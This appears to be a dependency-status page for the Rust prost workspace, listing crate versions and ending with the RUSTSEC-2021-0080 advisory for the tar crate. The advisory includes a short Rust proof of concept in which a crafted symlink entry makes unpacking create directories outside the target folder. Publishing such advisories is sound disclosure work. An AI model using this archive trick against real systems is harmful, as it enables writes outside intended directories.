This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate prost

Dependencies

(1 total, all up-to-date)

CrateRequiredLatestStatus
 bytes^11.8.0up to date

Dev dependencies

(5 total, 2 outdated)

CrateRequiredLatestStatus
 criterion^0.30.5.1out of date
 env_logger^0.80.11.5out of date
 log^0.40.4.22up to date
 proptest^11.5.0up to date
 rand^0.80.8.5up to date

Crate prost-derive

Dependencies

(5 total, 2 outdated)

CrateRequiredLatestStatus
 anyhow^11.0.93up to date
 itertools^0.100.13.0out of date
 proc-macro2^11.0.92up to date
 quote^11.0.37up to date
 syn^12.0.89out of date

Crate conformance

Dependencies

(3 total, 1 outdated)

CrateRequiredLatestStatus
 bytes^11.8.0up to date
 env_logger^0.80.11.5out of date
 log^0.40.4.22up to date

Crate prost-build

Dependencies

(7 total, 4 outdated)

CrateRequiredLatestStatus
 bytes^11.8.0up to date
 heck^0.30.5.0out of date
 itertools^0.100.13.0out of date
 log^0.40.4.22up to date
 multimap^0.80.10.0out of date
 petgraph^0.50.6.5out of date
 tempfile^33.14.0up to date

Dev dependencies

(1 total, 1 outdated)

CrateRequiredLatestStatus
 env_logger^0.80.11.5out of date

Build dependencies

(1 total, 1 outdated)

CrateRequiredLatestStatus
 which^47.0.0out of date

Crate prost-types

Dependencies

(1 total, all up-to-date)

CrateRequiredLatestStatus
 bytes^11.8.0up to date

Dev dependencies

(1 total, all up-to-date)

CrateRequiredLatestStatus
 proptest^11.5.0up to date

Crate protobuf

Dependencies

(1 total, all up-to-date)

CrateRequiredLatestStatus
 bytes^11.8.0up to date

Dev dependencies

(2 total, 1 outdated)

CrateRequiredLatestStatus
 criterion^0.30.5.1out of date
 cfg-if^11.0.0up to date

Build dependencies

(5 total, 1 possibly insecure)

CrateRequiredLatestStatus
 anyhow^11.0.93up to date
 curl^0.40.4.47up to date
 flate2^1.01.0.35up to date
 tar ⚠️^0.40.4.43maybe insecure
 tempfile^33.14.0up to date

Crate tests

Dependencies

(3 total, all up-to-date)

CrateRequiredLatestStatus
 anyhow^11.0.93up to date
 bytes^11.8.0up to date
 cfg-if^11.0.0up to date

Dev dependencies

(2 total, all up-to-date)

CrateRequiredLatestStatus
 diff^0.10.1.13up to date
 tempfile^33.14.0up to date

Build dependencies

(2 total, 1 outdated)

CrateRequiredLatestStatus
 cfg-if^11.0.0up to date
 env_logger^0.80.11.5out of date

Crate tests-2015

Dependencies

(3 total, all up-to-date)

CrateRequiredLatestStatus
 anyhow^11.0.93up to date
 bytes^11.8.0up to date
 cfg-if^11.0.0up to date

Dev dependencies

(2 total, all up-to-date)

CrateRequiredLatestStatus
 diff^0.10.1.13up to date
 tempfile^33.14.0up to date

Build dependencies

(2 total, 1 outdated)

CrateRequiredLatestStatus
 cfg-if^11.0.0up to date
 env_logger^0.80.11.5out of date

Crate tests-no-std

Dependencies

(3 total, all up-to-date)

CrateRequiredLatestStatus
 anyhow^11.0.93up to date
 bytes^11.8.0up to date
 cfg-if^11.0.0up to date

Dev dependencies

(2 total, all up-to-date)

CrateRequiredLatestStatus
 diff^0.10.1.13up to date
 tempfile^33.14.0up to date

Build dependencies

(2 total, 1 outdated)

CrateRequiredLatestStatus
 cfg-if^11.0.0up to date
 env_logger^0.80.11.5out of date

Security Vulnerabilities

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!